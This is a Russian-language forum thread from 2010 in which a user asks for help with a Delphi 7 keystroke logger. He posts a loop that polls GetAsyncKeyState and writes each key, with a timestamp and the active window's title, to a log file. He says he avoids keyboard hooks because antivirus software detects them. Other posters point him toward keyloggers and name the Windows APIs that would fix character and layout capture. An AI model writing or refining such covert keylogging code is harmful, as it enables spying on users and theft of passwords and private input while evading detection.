[Delphi 7] Какая кнопка нажата? Раскладка?

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by bombapiter, 2 Dec 2010.

  1. bombapiter

    bombapiter New Member

    Joined:
    8 Nov 2010
    Messages:
    14
    Likes Received:
    0
    Reputations:
    0
    Как перевести скан-код нажатой кнопки на клавиатуре в виртуальный код?
     
  2. 0pTik

    0pTik Banned

    Joined:
    18 Jul 2010
    Messages:
    240
    Likes Received:
    85
    Reputations:
    17
    То что пришло на ум , это ставить хук на клаву , рой в сторону кейлоггеров
     
  3. bombapiter

    bombapiter New Member

    Joined:
    8 Nov 2010
    Messages:
    14
    Likes Received:
    0
    Reputations:
    0
    Хуки отлавливаются антивирусами.

    Вот кусок кода, в лог пишутся только большие буквы, латиница, т.е. скан-код:

    Code:
              for i:=33 to 254 do
              begin
                if GetAsyncKeyState(i)<>0 then
                begin
                  if not canTranslateCode(i) then  
                    begin
                      writeln(f,datetimetostr(now)+': '+ 
                      floattostr(ord(i))+' ('+chr(i)+') ('+
                      GetFormText(GetForegroundWindow)+')'); 
                    end
                  else
                    begin
                      writeln(f,datetimetostr(now)+': '+ 
                      TranslateCode(i)+' ('+GetFormText(GetForegroundWindow)+')');
                    end;
                end;
              end;
    
    
    Как сделать, что б писалась правильная буква?
     
  4. sn0w

    sn0w Статус пользователя:

    Joined:
    26 Jul 2005
    Messages:
    1,023
    Likes Received:
    1,297
    Reputations:
    327
    Get(Async)KeyState GetKeyboardState

    MapVirtualKey - скан-виртуал
    LoadKeyboardLayout - расклад
     
    #4 sn0w, 8 Dec 2010
    Last edited: 8 Dec 2010